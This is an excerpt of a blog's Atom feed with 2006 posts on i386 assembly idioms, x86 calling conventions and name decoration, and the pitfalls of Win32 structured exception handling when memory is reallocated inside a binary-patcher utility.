Guide'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114780745478776422</id><published>2006-05-16T14:20:00.000-05:00</published><updated>2006-05-16T15:17:25.553-05:00</updated><title type='text'>Noteworthy i386 listing of frequently used subroutines and Typical function call protocol</title><content type='html'>Originally composed on June 13, 2004, editted formatting.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;1. String length calculation and key comparison&lt;br /&gt;mov ecx, -1  ; mov ecx, xx (xx=max possible length)&lt;br /&gt;mov al, 0  ;xor eax, eax;sub eax, eax;mov eax, 0&lt;br /&gt;mov edi, string_offset ; lea edi, [ebp+XX]&lt;br /&gt;  ; ES:EDI -&gt; string&lt;br /&gt;repnz scasb     ; repnz scasw&lt;br /&gt;neg ecx         ; xor eax, eax&lt;br /&gt;    sub eax, ecx&lt;br /&gt;mov edi, real string   ; lea edi, [ebp+XX]&lt;br /&gt;mov esi, user string&lt;br /&gt;repnz cmpsb     ; repeat till ecx = 0 or [edi]!=[esi]&lt;br /&gt;test ecx, ecx&lt;br /&gt;jnz  bad&lt;br /&gt;xor eax, eax    ; using eax=0 as good, could also use eax=1 as bad&lt;br /&gt;jmp  good&lt;br /&gt;bad:&lt;br /&gt;mov eax, 1&lt;br /&gt;ret&lt;br /&gt;good&lt;br /&gt;do_good_stuff   ; update registry, update ini file, update memory&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;2. A==0? 1:0 translated to assembly&lt;br /&gt;mov eax, A&lt;br /&gt;neg eax  ; eax = 0 - eax, unsigned, but sets CF if eax &gt; 0&lt;br /&gt;sbb eax, eax    ; eax = eax - eax - CF&lt;br /&gt;inc eax&lt;br /&gt;ret&lt;br /&gt;if A == 0,&lt;br /&gt; neg eax  =&gt; eax = 0, CF = 0&lt;br /&gt; sbb eax, eax  =&gt; eax = 0&lt;br /&gt; inc eax  =&gt; eax = 1&lt;br /&gt;else&lt;br /&gt; neg eax  =&gt; eax = (UnSigned)-A, CF = 1&lt;br /&gt; sbb eax, eax =&gt; eax = -1&lt;br /&gt; inc eax  =&gt; eax = 0&lt;br /&gt;endif&lt;br /&gt;&lt;br /&gt;An alternative form A == 0? 0:1&lt;br /&gt;mov eax, A&lt;br /&gt;cmp eax, 1      ; set CF if eax = 0, CF = 0 if A != 0&lt;br /&gt;sbb eax, eax ; eax = -1 if A = 0, eax = 0 if A != 0&lt;br /&gt;inc eax  ; eax = 0 if A = 0, eax = 1 if A != 0&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;A little bit mind boggling, isn't it? :-)&lt;br /&gt;These are common code signatures you will find in assembly language&lt;br /&gt;generated from high level language (typically C/C++) from a compiler.&lt;br /&gt;A final note, the counterpart of sbb is adc (add with carry). As an&lt;br /&gt;&lt;br /&gt;excersise, build A == 0? 1:0 using abc instead of sbb.&lt;br /&gt;&lt;br /&gt;3. The __cdecl,  __stdcall, __fastcall, thiscall signatures and&lt;br /&gt;__declspec(naked)&lt;br /&gt;(Reference: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclang/html/_core___stdcall.asp)&lt;br /&gt;&lt;br /&gt;Normally a subroutine written in C/C++ is translated with the following&lt;br /&gt;signatures, take&lt;br /&gt;int sub_a(arg1, arg2, arg3)&lt;br /&gt;call sub_a(arg1, arg2, arg3)&lt;br /&gt;&lt;br /&gt;there is 4 ways to declare its prototype that will affect generated&lt;br /&gt;assembly code.&lt;br /&gt;&lt;br /&gt;3.1)&lt;br /&gt;__cdecl:&lt;br /&gt;This is the default calling convention for C and C++ programs.&lt;br /&gt;Because the stack is cleaned up by the caller, it can do vararg functions.&lt;br /&gt;The __cdecl calling convention creates larger executables than __stdcall,&lt;br /&gt;because it requires each function call to include stack cleanup code.&lt;br /&gt;The following list shows the implementation of this calling convention.&lt;br /&gt;&lt;br /&gt;Element Implementation&lt;br /&gt;Argument-passing order Right to left&lt;br /&gt;Stack-maintenance responsibility Calling function pops the arguments from&lt;br /&gt;the stack Name-decoration convention Underscore character (_) is prefixed to&lt;br /&gt;names Case-translation convention No case translation performed&lt;br /&gt;&lt;br /&gt;So what does all this babblying mean when it's in action?&lt;br /&gt;Callee:&lt;br /&gt;int __cdecl sub_a(arg1, arg2, arg3)&lt;br /&gt; push ebp&lt;br /&gt; mov  ebp, esp&lt;br /&gt; sub  esp, 4 x number_of_local_automatic_variables &lt;-- normally the case    &lt;br /&gt;; pointers could complicate it, and structure alignment requirement  &lt;br /&gt;; could also make the space required on stack seem strange.  &lt;br /&gt;; nevertheless, automatica variables are stored on stack.  &lt;br /&gt;; name it NOLAV: # of local automatic variables  &lt;br /&gt;arg1 = [ebp+8] ; Here we assume it's a near call (*flat memory model)  &lt;br /&gt;arg2 = [ebp+C] ; within the caller's own code segment linear space  &lt;br /&gt;arg3 = [ebp+10] ; normally true but not for some trickery code   ...  &lt;br /&gt;add esp, 4 x NOLAV &lt;br /&gt;; ebp+10 &lt;- arg3   || stack high   pop ebp  &lt;br /&gt;; ebp+0C &lt;- arg2   ||   ret   &lt;br /&gt;; ebp+8  &lt;- arg1   ||    &lt;br /&gt;; ebp+4  &lt;- eip of the return address ||    &lt;br /&gt;; ebp    &lt;- previous ebp  ||            &lt;br /&gt;        &lt;= esp = ebp pointer  \/ stack low&lt;br /&gt;&lt;br /&gt;Caller: call sub_a(arg1, arg2, arg3)  &lt;br /&gt;push arg3 ; see below  &lt;br /&gt;push arg2  &lt;br /&gt;push arg1  &lt;br /&gt;call sub_a  &lt;br /&gt;add esp, 0C  &lt;br /&gt;&lt;br /&gt;now it's of course simplified because arg3 cannot be directly referrenced in&lt;br /&gt;assembly language. Very often it's something like this:  &lt;br /&gt;mov eax, [ebp+XX]     ; passed on argument to this subroutine  &lt;br /&gt;push eax&lt;br /&gt;or  &lt;br /&gt;mov eax, [ebp-XX]     ; a LAV: local automatic variable &lt;br /&gt;push eax   &lt;br /&gt;push XX  ; a direct constant  &lt;br /&gt;mov eax, [XXXXXXXX]       ; a global variable  &lt;br /&gt;push eax &lt;br /&gt;&lt;br /&gt;I hope this clears up a lot of confusions around the myth around a subroutine&lt;br /&gt;call in assembly language. Now we briefly describe __stdcall, __fastcall,&lt;br /&gt;and thiscall &lt;br /&gt;&lt;br /&gt;3.2) __stdcall: The __stdcall calling convention is used to call Win32 API&lt;br /&gt;functions. The callee cleans the stack, so the compiler makes vararg functions&lt;br /&gt;__cdecl. Functions that use this calling convention require a function prototype. &lt;br /&gt;return-type __stdcall function-name[(argument-list)] The following list shows the&lt;br /&gt;implementation of this calling convention.  Element Implementation  Argument-passing&lt;br /&gt;order Right to left.  Argument-passing convention By value, unless a pointer or&lt;br /&gt;reference type is passed.  Stack-maintenance responsibility Called function pops&lt;br /&gt;its own arguments from the stack.  Name-decoration convention An underscore (_)&lt;br /&gt;is prefixed to the name. The name is followed by the at sign (@) followed by the&lt;br /&gt;number of bytes (in decimal) in the argument list. Therefore, the function declared&lt;br /&gt;as int func( int a, double b ) is decorated as follows: _func@12  Case-translation&lt;br /&gt;convention None  &lt;br /&gt;&lt;br /&gt;Callee:&lt;br /&gt;int __stdcall sub_a(arg1, arg2, arg3)  &lt;br /&gt;push ebp  &lt;br /&gt;mov  ebp, esp  &lt;br /&gt;sub  esp, 4 x number_of_local_automatic_variables &lt;-- normally the case    &lt;br /&gt;; pointers could complicate it, and structure alignment requirement  &lt;br /&gt;; could also make the space required on stack seem strange.  &lt;br /&gt;; nevertheless, automatica variables are stored on stack.  &lt;br /&gt;; name it NOLAV: # of local automatic variables  &lt;br /&gt;arg1 = [ebp+8] ; Here we assume it's a near call (*flat memory model)  &lt;br /&gt;arg2 = [ebp+C] ; within the caller's own code segment linear space  &lt;br /&gt;arg3 = [ebp+10] ; normally true but not for some trickery code   ...  &lt;br /&gt;add esp, 4 x NOLAV ; ebp+10 &lt;- arg3  || stack high  &lt;br /&gt;pop ebp  ; ebp+0C &lt;- arg2   ||  &lt;br /&gt;ret 0C  ; ebp+8  &lt;- arg1   ||    &lt;br /&gt;  ; ebp+4  &lt;- eip of the return address ||    &lt;br /&gt;  ; ebp    &lt;- previous ebp  ||            &lt;br /&gt;   &lt;= esp = ebp pointer  \/ stack low  &lt;br /&gt;&lt;br /&gt;The difference here is 'ret 0C' instead of 'ret' because in __stdcall the callee&lt;br /&gt;is responsible to clean up the stack. &lt;br /&gt;&lt;br /&gt;Caller: call sub_a(arg1, arg2, arg3)  &lt;br /&gt;push arg3 ; see below  &lt;br /&gt;push arg2  &lt;br /&gt;push arg1  &lt;br /&gt;call sub_a    &lt;br /&gt;&lt;br /&gt;Here after call sub_a, the caller code needs not to worry about  stack clean up.&lt;br /&gt;There are 2 important points I want to bring up about __stdcall. First, WINAPI&lt;br /&gt;is __stdcall so they use this convention. This is the most frequently encountered&lt;br /&gt;form on a windows platform. Second, __stdcall will mangle the subroutine name&lt;br /&gt;which will cause trouble if you try to link against __stdcall subroutine.&lt;br /&gt;Unless you are working in a consistent setting, try to avoid __stdcall&lt;br /&gt;declaration.  3.3) __fastcall The __fastcall calling convention specifies that&lt;br /&gt;arguments to functions are to be passed in registers, when possible. The following&lt;br /&gt;list shows the implementation of this calling convention.  Element Implementation &lt;br /&gt;Argument-passing order The first two DWORD or smaller arguments are passed in ECX&lt;br /&gt;and EDX registers; all other arguments are passed right to left.  Stack-maintenance&lt;br /&gt;responsibility Called function pops the arguments from the stack.  Name-decoration&lt;br /&gt;convention At sign (@) is prefixed to names; an at sign followed by the number of&lt;br /&gt;bytes (in decimal) in the parameter list is suffixed to names.  Case-translation&lt;br /&gt;convention No case translation performed.   Callee: int __stdcall sub_a(arg1, arg2,&lt;br /&gt;arg3)  &lt;br /&gt;&lt;br /&gt;push ebp  &lt;br /&gt;mov  ebp, esp  &lt;br /&gt;sub  esp, 4 x  NOLAV   arg1 = ecx  ; Here we assume it's a near call (*flat memory model)  &lt;br /&gt;arg2 = edx  ; within the caller's own code segment linear space  &lt;br /&gt;arg3 = [ebp+8] ; normally true but not for some trickery code   ...  &lt;br /&gt;add esp, 4 x NOLAV   &lt;br /&gt;pop ebp    &lt;br /&gt;ret 04  ; ebp+8  &lt;- arg1   ||    &lt;br /&gt;  ; ebp+4  &lt;- eip of the return address ||    &lt;br /&gt;  ; ebp    &lt;- previous ebp  ||            &lt;br /&gt;   &lt;= esp = ebp pointer  \/ stack low  &lt;br /&gt;&lt;br /&gt;The difference here is 'ret 04' instead of 'ret' in __cdecl or 'ret 0C' in __stdcall&lt;br /&gt;because in __fastcall passes 2 arguments using registers and the callee is&lt;br /&gt;responsible to clean up the rest of the stack. &lt;br /&gt;&lt;br /&gt;Caller:&lt;br /&gt;&lt;br /&gt;call sub_a(arg1, arg2, arg3)  &lt;br /&gt;push arg3 ; see below  &lt;br /&gt;mov edx, arg2  &lt;br /&gt;mov ecx, arg1  &lt;br /&gt;call sub_a    &lt;br /&gt;&lt;br /&gt;__fastcall is similar to __stdcall except when callee has less than 3 arguments,&lt;br /&gt;no stack reference is needed for arguments so execution speed is improved. Like&lt;br /&gt;__stdcall, subroutine names are also mangled in library.  3.4) thiscall The&lt;br /&gt;__fastcall calling convention specifies that arguments to functions are to be&lt;br /&gt;passed in registers, when possible. The following list shows the implementation of&lt;br /&gt;this calling convention.  Element Implementation  Argument-passing order The first&lt;br /&gt;two DWORD or smaller arguments are passed in ECX and EDX registers; all other&lt;br /&gt;arguments are passed right to left.  Stack-maintenance responsibility Called&lt;br /&gt;function pops the arguments from the stack.  Name-decoration convention At&lt;br /&gt;sign (@) is prefixed to names; an at sign followed by the number of bytes&lt;br /&gt;(in decimal) in the parameter list is suffixed to names.  Case-translation&lt;br /&gt;convention No case translation performed.  &lt;br /&gt;&lt;br /&gt;Callee: int __stdcall sub_a(arg1, arg2, arg3)  &lt;br /&gt;push ebp  &lt;br /&gt;mov  ebp, esp  &lt;br /&gt;sub  esp, 4 x  NOLAV  &lt;br /&gt;arg1 = [ebp+10] ; Here we assume it's a near call (*flat memory model)  &lt;br /&gt;arg2 = [ebp+0C] ; within the caller's own code segment linear space  &lt;br /&gt;arg3 = [ebp+8] ; normally true but not for some trickery code   this_pointer = ecx   ...  &lt;br /&gt;add esp, 4 x NOLAV   &lt;br /&gt;pop ebp    &lt;br /&gt;ret 0C  ; ebp+8  &lt;- arg1   ||    &lt;br /&gt;  ; ebp+4  &lt;- eip of the return address ||    &lt;br /&gt;  ; ebp    &lt;- previous ebp  ||            &lt;br /&gt;   &lt;= esp = ebp pointer  \/ stack low  &lt;br /&gt;&lt;br /&gt;Pretty much like __stdcall except that the caller secretly puts the "this" pointer&lt;br /&gt;into ecx before it calls sub_a. &lt;br /&gt;&lt;br /&gt;Caller: call sub_a(arg1, arg2, arg3)  &lt;br /&gt;push arg3 ; see below  &lt;br /&gt;push arg2  &lt;br /&gt;push arg1  &lt;br /&gt;mov ecx, this_pointer  &lt;br /&gt;call sub_a    &lt;br /&gt;&lt;br /&gt;Pretty much like __stdcall except that the caller secretly puts the "this" pointer&lt;br /&gt;into ecx before it calls sub_a. &lt;br /&gt;&lt;br /&gt;3.5) __cdeclspec(naked) &lt;br /&gt;Callee: __cdeclspec(naked) int sub_a(arg1, arg2, arg3){  &lt;br /&gt;__asm{    &lt;br /&gt;       do what ever but don't blow it up!  &lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;Unlike any of the above declaration decorations, this one is special that it&lt;br /&gt;will not setup the base stack frame pointer (ebp) for the callee. The callee&lt;br /&gt;sub_a will normally be written in assembly code and it's entirely upon sub_a to&lt;br /&gt;not blow up anything! The complier trusts that sub_a knows what it is doing.  On&lt;br /&gt;the caller side, nothing special needs to be done. Although it's not unusual a&lt;br /&gt;chain of naked subroutines are constructed to achieve some specific goal. &lt;br /&gt;&lt;br /&gt;3.6) The default VC behavior when working with .C source code is __cdecl  but&lt;br /&gt;without the _ prefix. When working with .CPP source code, the function name is&lt;br /&gt;automatically mangled unless prefixed with extern "C".  &lt;br /&gt;&lt;br /&gt;__declspec(dllexport) int a(int x, int y, int z){  &lt;br /&gt; int b = x+10;  &lt;br /&gt; return b+y+z;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.text:10001000                &lt;br /&gt;public a .text:10001000 a              &lt;br /&gt;proc near .text:10001000 &lt;br /&gt;.text:10001000 var_4           = dword ptr -4&lt;br /&gt;.text:10001000 arg_0           = dword ptr  8&lt;br /&gt;.text:10001000 arg_4           = dword ptr  0Ch&lt;br /&gt;.text:10001000 arg_8           = dword ptr  10h&lt;br /&gt;.text:10001000 &lt;br /&gt;.text:10001000                 push    ebp&lt;br /&gt;.text:10001001                 mov     ebp, esp&lt;br /&gt;.text:10001003                 push    ecx&lt;br /&gt;.text:10001004                 mov     eax, [ebp+arg_0]&lt;br /&gt;.text:10001007                 add     eax, 0Ah&lt;br /&gt;.text:1000100A                 mov     [ebp+var_4], eax&lt;br /&gt;.text:1000100D                 mov     eax, [ebp+var_4]&lt;br /&gt;.text:10001010                 add     eax, [ebp+arg_4]&lt;br /&gt;.text:10001013                 add     eax, [ebp+arg_8]&lt;br /&gt;.text:10001016                 mov     esp, ebp&lt;br /&gt;.text:10001018                 pop     ebp&lt;br /&gt;.text:10001019                 retn&lt;br /&gt;.text:10001019 a               endp &lt;br /&gt;&lt;br /&gt;Table of name generation&lt;br /&gt;.C __declspec(dllexport) int a    -&gt; a&lt;br /&gt;.C __declspec(dllexport) int __cdecl a   -&gt; a&lt;br /&gt;.C __declspec(dllexport) int __stdcall a  -&gt; _a@12&lt;br /&gt;.CPP __declspec(dllexport) int a  -&gt; ?a@@YAHHH@Z&lt;br /&gt;.CPP extern "C" __declspec(dllexport) int a -&gt; a&lt;br /&gt;.CPP extern "C" __declspec(dllexport) int __stdcall a -&gt; _a@12&lt;br /&gt;&lt;br /&gt;So be careful when you name your files. .C and .CPP produce&lt;br /&gt;drastically different function tables and be sure to know what&lt;br /&gt;you want and name your source code files accordingly.&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114780745478776422?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780745478776422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780745478776422'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/noteworthy-i386-listing-of-frequently.html' title='Noteworthy i386 listing of frequently used subroutines and Typical function call protocol'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114780710847583077</id><published>2006-05-16T14:08:00.000-05:00</published><updated>2006-05-16T14:18:28.493-05:00</updated><title type='text'>WIN32 SEH and Memory Management considered harmful (Part 3)</title><content type='html'>Originally composed on June 3rd, 2004, editted formatting.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Think about this problem again, is there a way to break this dillema between memory allocation constraint and fault handling mechanism. If we could somehow manipulate the register value at the fault address machine instruction, we could change its value to an updated memory address allocated inside of the fault handler&lt;br /&gt;&lt;br /&gt;To acheive this, we will have to sacrifice the code portability by directly embedding assembly code into the C source code. Remember the code was like this:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;code = (PPATCHCODE)VirtualAlloc(NULL, NR*sizeof(PATCHCODE), &lt;br /&gt;  MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);  &lt;br /&gt;while(_ftscanf(inp, "%X%X%X", &amp;addr, &amp;amp;o_val, &amp;n_val) !=  EOF){&lt;br /&gt;  code[record].addr = addr;&lt;br /&gt;  code[record].orig_val = o_val; &lt;br /&gt;  code[record].new_val = n_val;&lt;br /&gt;  record++;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;We will use EAX to contain the address that we will write the data into. The design is to then update EAX in the CONTEXT record delivered in the EXCEPTION_RECORD to the fault handler. After the fault handler returns, the CONTEXT record will have a new EAX value. The operating system switches to this new CONTEXT (the context of the process where the EXCEPTION occured) and blindly accepts the new EAX value. Since the new EAX value now contains a valid memory address, the write operation will proceed. Without doing this, we have no way to control what might come out of the simple "code[record].addr = addr;" from the compiler. The new code snippet looks like this:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;code = (PPATCHCODE)VirtualAlloc(NULL, NR*sizeof(PATCHCODE), &lt;br /&gt;  MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);&lt;br /&gt;while(_ftscanf(inp, "%X%X%X", &amp;addr, &amp;amp;_val, &amp;n_val) !=  EOF){&lt;br /&gt; paddr = code+record;&lt;br /&gt; __asm{&lt;br /&gt;        mov eax, paddr;&lt;br /&gt;        mov ebx, addr;&lt;br /&gt;        mov [eax], ebx; &lt;------- Fault occurs here.                  mov ecx, dwsize;   &lt;br /&gt;               mov ebx, o_val;   &lt;br /&gt;               mov [eax+ecx], ebx; &lt;br /&gt;               // The compiler cannot genereate correct code for&lt;br /&gt;               // mov [eax+dwsize], ebx      &lt;br /&gt;               // it's translated to mov [eax+ebp-20], ebx&lt;br /&gt;               // we wanted mov [eax+[ebp-20]], ebx&lt;br /&gt;               // so just use hardcoded # here, mov [eax+4], ebx&lt;br /&gt;                // or use ecx to contain the number&lt;br /&gt;               mov ebx, n_val;&lt;br /&gt;               mov [eax+ecx*2], ebx  &lt;br /&gt;               }&lt;br /&gt;       record++;&lt;br /&gt;  }   &lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;We first calculate the memory address of the patchcode record structure (which is padded and aligned on a 16-byte cache line on ia32 platform) by adding the starting address of the patchcode array and the current record number. We then assign this address to EAX, this is the address where the next write operation will access. The patchcode address value is assigned to EBX and then moved to the memory address pointed to by EAX. If we ever access the memory beyond we initially allocated, we will have a memory access violation at this instruction "mov [eax], ebx". After the exception occured, the execution is transfered to the user fault handler through a series of complicated operations, trap gate, kernel fault handler, compiler stud fault handler, and finally user fault handler. We do exactly what is explained in the fault handler, we update the EAX value in the user process CONTEXT record:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;tmp_code = (PPATCHCODE)VirtualAlloc(NULL, 2*NR*sizeof(PATCHCODE),&lt;br /&gt; MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);&lt;br /&gt;_tcsncpy((_TCHAR *)tmp_code, (_TCHAR *)code, NR*sizeof(PATCHCODE));&lt;br /&gt;VirtualFree(code, 0, MEM_RELEASE);&lt;br /&gt;lpEP-&gt;ContextRecord-&gt;Eax = (ULONG)(tmp_code+NR);&lt;br /&gt;NR=2*NR;&lt;br /&gt;code = tmp_code;&lt;br /&gt;nFilterResult = EXCEPTION_CONTINUE_EXECUTION;&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;First we allocate twice large a memory space of the previous size, then copy the content from the previous patchcode array to the new memory space. After we free the previous memory allocated, we update the EAX value in the user process CONTEXT. After some other updates, we return EXCEPTION_CONTINUE_EXECUTION to tell the kernel that this should be the last unwind fault handler and the EXCEPTION has been handled, the execution should now be continued at the exact address where the fault occured. Since now the EAX has the updated memory address, this code surely works.&lt;br /&gt;&lt;br /&gt;Although this code works, it's not without sacrifice of code portability and wasted memory allocation and data transfer inside of the memory space. The use of embedded assembly code and CONTEXT structure member prohibits this code to work on other platform other than 32bit intel architecture. The fault handler has to allocates new memory, transfer data from previous memory to new memory, and then free previous memory. It's a waste of memory space and CPU time.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114780710847583077?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780710847583077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780710847583077'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/win32-seh-and-memory-manag_114780710847583077.html' title='WIN32 SEH and Memory Management considered harmful (Part 3)'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114780620085181131</id><published>2006-05-16T13:57:00.000-05:00</published><updated>2006-05-16T14:06:47.500-05:00</updated><title type='text'>WIN32 SEH and Memory Management considered harmful (Part 2)</title><content type='html'>&lt;p&gt; Originally composed on May 27, 2004, editted formatting.&lt;/p&gt;&lt;div style="text-align: justify;"&gt;We could pretty much exclude direct win32 Virtual Memory management out of the picture now and try to rely on another win32 memory type Heap to make this program work. Now our code looks like this:&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;except_handler(...){&lt;br /&gt;&lt;br /&gt;HeapReAlloc(hhwnd, HEAP_REALLOC_IN_PLACE_ONLY, cur_mem, 2*cur_size);&lt;br /&gt;&lt;br /&gt;return EXECUTION_CONTINUE;&lt;br /&gt;&lt;br /&gt;if anything is wrong, return EXECUTION_SEARCH;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;patcher(...){&lt;br /&gt;&lt;br /&gt;hhwnd = HeapCreate(0,0,0)&lt;br /&gt;cur_mem = HeapAlloc(hhwnd, initial_size);&lt;br /&gt;&lt;br /&gt;__try{&lt;br /&gt;read_data(FILE, tmp_data);&lt;br /&gt;cur_mem[counter]-&gt;data = tmp_data;&lt;br /&gt;counter++;&lt;br /&gt;}&lt;br /&gt;__except(except_handler(...)){&lt;br /&gt;do_something;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;Remember that this is just pseudocode skeleton, you must do proper error checking and handling if you are writing real code. It looks nice that we are granted with a HeapReAlloc function to dynamically adjust the allocated block size. However there are two gotchas here.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;First, the realloc function is unlikely to conserve the memory content of the previously allocated memory space. Second, this code is simply flatout not working. What's wrong? We have avoided the C-ASM incoherence by reallocating at fixed memory address with the so called HEAP_REALLOC_IN_PLACE_ONLY flag. We also ensure the memory space is large enough. If you debug this code though, you will discover HeapReAlloc will forever return NULL. And you will also notice the exception address is way behond cur_mem+size&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;|-----------| &lt;- cur_mem |           | |           | &lt;- cur_mem-&gt;size&lt;br /&gt;|-----------|&lt;br /&gt;|           |&lt;br /&gt;|           |&lt;br /&gt;|           |&lt;br /&gt;|           | &lt;- Exception happening here |           | &lt;/p&gt;&lt;p style="text-align: justify;"&gt;The reason of all these is that heap is designed to be a heavy duty memory block and heap manager DOES NOT take care of out of bound memory access. A more detailed Heap structure looks like this:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;+-----------+ &lt;- Heap Real Start address&lt;br /&gt;|           |&lt;br /&gt;|           | &lt;- Heap control structure&lt;br /&gt;|-----------| &lt;- some heap control block (the infamous first_free arena)&lt;br /&gt;|           | &lt;- some random block if cur_mem wasn't allocated first&lt;br /&gt;|           |&lt;br /&gt;|-----------| &lt;- cur_mem&lt;br /&gt;|header info|&lt;br /&gt;|           | &lt;- cur_mem-&gt;size&lt;br /&gt;|-----------|&lt;br /&gt;|header info|&lt;br /&gt;|           |&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;Because heap manager does not care about writing beyond block boundary, our code is actually writing way over it's initially allocated memory space and corrupted header info of contigent memory block, thus preventing HeapReAlloc from expanding its size. A simple heap allocation code will reveal that blocks allocated one after another do not have their addresses form a continuous space. Thus when our code triggers the exception, it has already overwritten through its boundary and corrupted the heap. Clearly SEH and Heap memory are mutually exclusive in win32 programming.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;Conclusions:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;As good an idea as SEH may sound like, in Win32 enviroment, we have demonstrated that SEH will not cooperate Heap memory manage and direct Virtual Memory allocation makes SEH redudent and actually not working. The fact that a single C line of code cannot be guranteed to execute atomically makes SEH debugging very difficult. Same code, may produce different result depending on how it's compiled. The requirement of a fixed base address when working with virtual memory and SEH makes the effort of using SEH seem vain. In conclusion, SEH should be avoided when memory management is invovled, although ironically one of the major reasons for SEH is to handle invalid memory access. Also due to volitile nature of SEH and C interaction, extreme caution should be taken to ensure reproducibile and predicatble program execution.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-114780620085181131?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780620085181131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/114780620085181131'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2006/05/win32-seh-and-memory-management_16.html' title='WIN32 SEH and Memory Management considered harmful (Part 2)'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-114780576863438429</id><published>2006-05-16T13:47:00.000-05:00</published><updated>2006-05-16T14:04:32.916-05:00</updated><title type='text'>WIN32 SEH and Memory Management considered harmful (Part 1)</title><content type='html'>Originally composed on May 27, 2004, editted formatting.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;It so happens that I need to write a small utility program to do some win32 EXE file patching business, actually in this case 2 files--one to generate a patch between two slightly different binary files and one to aplly the patch to a fresh binary file. The first program, MakePatch is relatively easy to cook up. However, the 2nd program Patcher requires some special coding technique to be perfect (as we'll see very soon, the win32 system has made it rather impossible).&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;The Patcher program first open the patch code text file, which looks like this:&lt;br /&gt;&lt;br /&gt;offset origin_byte new_byte&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;each line of the patch code consists of an offset in the binary file to patch, the original byte code to be patched with the new byte code. Since we have no fore-knowledge how many patch lines we have in the patch code file, the program should dynamically adjust the size of the memory that hold these patch codes as they are read into the memory.&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;At a first glance, what could better suit this task with win32's shiny virtual memory management and structured exception handling (SEH) code. The design is simple,&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;except_handler(...){&lt;br 